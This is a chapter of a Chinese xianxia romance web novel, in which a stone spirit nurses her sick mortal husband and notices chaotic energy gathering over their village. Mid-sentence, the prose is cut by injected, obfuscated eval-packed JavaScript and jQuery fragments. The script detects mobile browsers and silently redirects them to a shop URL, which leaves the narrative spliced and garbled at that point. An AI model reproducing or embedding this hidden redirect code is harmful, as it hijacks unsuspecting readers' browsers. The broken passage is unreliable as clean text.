15.第 15 章

作品:《夫君今天也不肯和离

    石头湿漉漉地摸了一夜心脏,确定怨灵不再作祟后,翌日就搬回了自己的寝房。


    冬月很快就过去了,一踩上腊月边,年味就重了起来。


    腊八那天下了一场雪,祝雨山从学堂回来时淋了雪,当晚就病倒了。


    他这一场病来势汹汹,学堂是去不成了,只能躺在家中休养。


    这段时间石喧除了洗衣做饭,还要照顾夫君、给夫君熬药,每天都很忙很忙。


    可她都这么忙了,祝雨山的身体仍然不见好。


    “已经吃五天药了,夫君还是咳嗽,人也不精神,他不会是要死了吧?”


    石喧蹲在地头,声音幽幽。


    冬至不太想搭理她。


    他来后山收白菜,她非要跟着来,他还以为是要帮他干活,结果来了之后就在地头蹲着,说要抓只鸟给祝雨山补身体。


    ……这大冷天的,哪来的鸟?有那个功夫还不如帮他搬两颗白菜。


    但她就不,就要蹲在那里等鸟。


    冬至心里窝火,犟又犟不过,打又打不过,只能一边生窝囊气一边窝囊干活。


    石喧还在担忧夫君,根本没注意到兔子的愤怒。


    她也不在意冬至有没有回应,兀自安静一会儿后,又开始自言自语:“会不会是村里的大夫医术不够好,夫君才一直没有痊愈?”


    冬至剥开一颗白菜,尝了尝白菜芯,觉得味道还不错。


    石喧思索:“要不我去镇上请个大夫?可镇上的大夫收费很贵,家里的钱也不知道够不够。”


    冬至将拔好的白菜搬到一起,开始薅草。


    空气突然变得很安静,只剩下窸窣的风声。


    石头光说话不干活时,冬至只想无视她,石头不说话也不干活时,他就忍不住看过去了。


    石喧还蹲在地上,双手抱着膝盖一动不动。


    她今天穿的袄子,是祝雨山亲手给她做的,那灰扑扑的布料一看就是她自己选的,穿在身上朴实无华,快要和山石融为一体了。


    冬至无言片刻,道:“他是凡人,凡人生病是很正常的事,我觉得你不用太担心。”


    石喧:“他以前没有病得这么重过。”


    “……风寒而已,也不算什么大病吧,”冬至拍拍手上的土,“最近天气越来越冷,村里不是有很多人都生病了嘛。”


    说起村里人……


    石喧朝着村子的方向看去。


    她身处山顶,上可以看到大片的云彩和远山,下可以将整座村落尽收眼底。


    前些天下的雪还没化开,家家户户的屋顶上都染了白,晌午的阳光一照,金灿灿的煞是好看。


    可在她的直觉里,此刻的竹泉村却是灰蒙蒙的,仿佛蒙了一层阴影。


    “你看什么呢?”冬至凑过来。


    石喧没有回头:“混沌之气。”


    “嗯?哪里?”冬至顺着她的视线看去,只看到安宁祥和的村落。


    石喧:“好像越来越重了。”


    “什么?”冬至还是不太明白。


    石喧扭头看向他,若有所思。


    她嵌在天幕上的时候,注视人间许多年,对人间的运行规律相当熟悉。


    每年最冷的时候,地心的混沌之气就会上涌,出现在人间各个角落。


    这些混沌之气极为稀薄,对凡人不会造成太大的影响。


    而当除夕来临,凡人贴上对联放起鞭炮,就会将其全部清除。


    凡人谓之除祟。


    因为混沌之气年年来,所以石喧最初察觉到的时候,并没有太在意,这几天一直忙着照顾夫君,就更加忽略了。


    直到今天俯瞰全村,她才发现村子里的混沌之气,要比其他地方浓上许多。


    这样的浓度,不是凡人放几串鞭炮、贴几张对子就能解决的。


    也难怪那么多人生病。


    “你最近感觉如何?”石喧问。


    冬至稀里糊涂:“挺好……不是一般的好,我这几天能吃能睡,好像长胖了不少。”


    说完,变成一只兔子,向石头展示自己肥美的身材。


    石喧看了一眼,确实胖了。


    她突然有点遗憾。


    “……你那是什么眼神?是不是挺希望我是一只普通兔子,这样你就可以带回去给祝雨山补身体了啊?”兔子咻的变回少年,警惕地后退一步。


    身为一颗聪明的石头,在听到对自己不利的问题时,会及时转移话题:“你是魔族,身处浓郁的混沌之气里,自然会觉得舒适。”


    “什么意思啊?”冬至果然上当,“你能别打哑谜了吗?”


    石喧将村子被混沌之气笼罩的事情说了。


    冬至陷入沉思:“这么说,祝雨山是因为混沌之气才生病的?”


    “混沌之气是夫君生病之后才出现的,其他人或许是因为这个,他不是。”石喧解释。


    冬至:“那他肯定也会受影响吧。”


    这倒是。


    这么重的混沌之气,正常人都会受影响,更何况她那体弱多病的夫君。


    混沌很讨厌,像洞一样讨厌。


    石喧眉头轻蹙,刚有点不高兴,就在草丛里看到一颗圆润的石子。


    她心神一动,捡起来擦干净。


    “奇怪,好端端的怎么会出现混沌之气呢?”冬至嘀咕。


    石喧头也不抬:“我不知道。”


    原因有很多种,也许是附近有高阶魔族受伤,无法自控地释放,也可能是地心的混沌出现异常,又或者村子所处的地势发生了变化,与地心的距离更近了些。


    总之,很难排查清楚。


    “……你有办法解决这些混沌之气吗?”冬至眉头紧皱。


    虽然他在混沌之气里待得很舒服,但一想到祝雨山要是死了,三界也会跟着毁灭,就不太想要这种舒服了。


    毕竟一顿饱和顿顿饱,他还是分得清楚的,所以只想尽快将此事解决。


    他身为一只低阶的魔怪兔,为了三界安危都如此忧心忡忡,相信石头……


    石头在玩石头。


    冬至闭了闭眼睛,再睁开发现石喧还在搓那颗该死的小石头。


    他立刻炸了:“都什么时候了,你还在那儿玩!”


    “我只是一颗石头,”石喧看向他,“我没有神力,不能驱散混沌之气,也不能为夫君治病,我什么都做不了。”


    这段话乍一听有些可怜……如果她在说话的时候,没有继续玩石头的话。


    冬至暗暗警告自己,不要再同情某颗石头,她根本没有心。


    等了这么久,都没等来一只鸟,石喧将小石头装进怀里,拍拍身上的土站起来。


    “会有人来解决这些混沌之气的。”


    “谁?”冬至立刻问。


    石喧想了一下,说:“那些仙门之人。”


    冬至:“嗯?”


    “他们汲取天地灵气修炼自身,是因,护佑天地生灵,是他们必须承担的果,”石喧往山下走,“村里的混沌之气越来越重,他们应该快来了。”


    冬至赶紧把白菜码在地头,变成兔子追上她:“那这样的话,我得搬走几天了,不然以我的修为,一旦跟他们撞上,岂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979575|193288||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不是死路一条?”


    “嗯。”


    “你们呢?要不要也搬走几天,等那些仙门的人把混沌之气解决了再回来?”


    “不。”


    冬至:“为什么?”


    “没钱。”


    她可以随便找个地方蹲几天,但夫君是凡人,还生着病,必须要住在有屋顶的暖和地方。


    他们哪有钱可以搬去那种地方。


    冬至想过她不会搬走,但没想过她是因为没钱才不搬走。


    ……行吧,他算是知道为啥有些人明知道家里闹鬼,也要硬着头皮继续住了。


    没钱确实是个大问题。


    当天晚上,冬至趁着夜色把白菜运回家后,就溜到山上躲起来了。


    他走的时候,石喧刚把药熬好。


    右侧的寝房里时不时传出隐忍的咳嗽声,石喧端着药,小心翼翼地走到门口:“夫君。”


    “请进。”


    她推门进去。


    昏黄的烛光下,祝雨山披着外衣坐在床上,看到她后目光变得温柔。


    他这几日吃不下饭,比起之前愈发清减了。大概是因为刚咳了一阵,此刻眼角泛着湿意,嘴唇也是不自然的红。


    莫名有种妖异之相。


    可再仔细看,又只觉得孱弱可怜,像一尊出现裂痕的漂亮观音。


    “夫君,吃药。”她端着药上前。


    祝雨山道谢接过,垂着眼慢慢地喝。


    等他喝完,石喧递给他一颗蜜枣。


    祝雨山掩唇轻咳:“不苦。”


    石喧:“苦的。”


    祝雨山看向她。


    “我尝了。”石喧解释。


    她味觉很钝,但也能尝出一点点苦味。


    她都觉得苦,那肯定是非常非常苦的,夫君为了不让她担心,竟然撒谎说不苦。


    “夫君是个好夫君。”聪明的石头,会及时给予夫君肯定。


    祝雨山轻笑一声,大概是吸入了凉气,咳得更加严重。


    石喧赶紧接过药碗,认真给他拍背。


    祝雨山咳得后背微微躬起,眼泪都快出来了,却还是及时握住她的手腕:“谢谢……不用了。”


    石喧停下,担忧地看着他。


    祝雨山缓了片刻,安抚道:“我已经没事了,你快去休息吧。”


    说这话时,他脸上是遮掩不住的疲惫,整个人都蔫蔫的,眼睛里还泛着水光。


    刚才还像出现裂开的观音,这会儿就像翅膀残缺的蝴蝶了。


    脆弱,单薄,一捏就碎。


    石喧还捏着那颗蜜枣,脚下如生根了一般站着不动。


    祝雨山唇角浮起一点弧度:“怎么了?”


    石喧沉默良久,认真道:“夫君,你不可以死。”


    祝雨山失笑。


    “你不可以死,”石喧垂着眼,去看他漂亮修长的手,“你死了,我也会死。”


    祝雨山没想到她会说出这种话来,一向从容勾勒的笑意,这一刻有些僵化。


    她的视线里,祝雨山的手突然动了一下,然后就握住了她垂在身侧的手指。


    石喧顿了顿,视线缓缓上移,对上了他沉邃的双眸。


    “只是风寒,不会死。”他声音沙哑,唇角仍挂着笑。


    石喧点了点头,心里想的却是,这种事又不是你能说得算的。


    不过话说回来,如果她抓个魔修回来,让他趁夫君活着的时候,把夫君的身体和魂魄直接用邪术缝在一起,做成活死人,是不是就不会影响她渡劫了?


    石喧越想越觉得可行。